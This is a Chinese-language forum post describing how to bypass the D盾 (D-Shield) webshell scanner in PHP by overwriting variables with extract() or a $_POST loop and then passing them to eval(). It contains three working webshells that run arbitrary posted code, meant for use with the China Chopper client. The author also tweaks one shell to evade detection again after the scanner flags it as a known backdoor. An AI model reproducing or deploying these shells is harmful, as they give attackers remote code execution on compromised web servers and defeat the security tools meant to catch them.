变量覆盖过d盾思路【通过】

前言

关于extract函数之前一篇文章CTF学习笔记中已经介绍过了,昨晚上突然想到用这个变量覆盖来绕过d盾我自个觉得我脑洞真大hhhhh.

原理

d盾杀马不杀执行函数,主要杀带参,举几个例子 eval("phpinfo()"); 你把eval内容写死了,d盾就不报,所以我大概思路就是用eval执行一个已经被定义了的变量,这个变量的内容是安全的,然后用extract覆盖掉变量,最终eval执行的还是我们传入的内容,但是d盾只认为他执行的之前那个被定义了的变量.

成品

<?php

$array = array(

2 => $_POST,

);

​

$a = 'a';

$b = 0;

extract($array[2]);

​

eval($a.$b);

?>

最开始只定义一个变量,然后覆盖,d盾一直给我报等级一,可疑eval可疑assert

咱再加个变量,改成上面那样,就不可疑了,嘿嘿

关于菜刀链接的问题,这个很简单

自己要改密码的话改变量名就好了.

过waf原理主要是变量覆盖,但是咱不止extract这一中覆盖方式, For example :

<?php

$a = 'a';

$b = 'b';

$c = null;

foreach ($_POST as $key => $value){

${$key} = $value;

}

eval($a.$b.$c);//这里把eval换成assert会报等级1...emmmm

​

?>

这些变量覆盖的知识都是在CTF中学的,实战没用上在这用上了2333333

现在拿d盾一扫发现前面那个马被提交样本了,直接给我报五级已知后门,不过我改了一下又能用了

<?php

$array = array(

2 => $_POST,

);

​

$a = 'a';

$b = 0;

$c = null;

extract($array[2]);

​

eval($a.$b.$c);

?>
  • 通过
  • 未通过

0 投票者

该作者邮箱邮件被退回,请原文作者联系管理邮箱 [email protected]

给该作者发了三次邀请 均失败 故视为放弃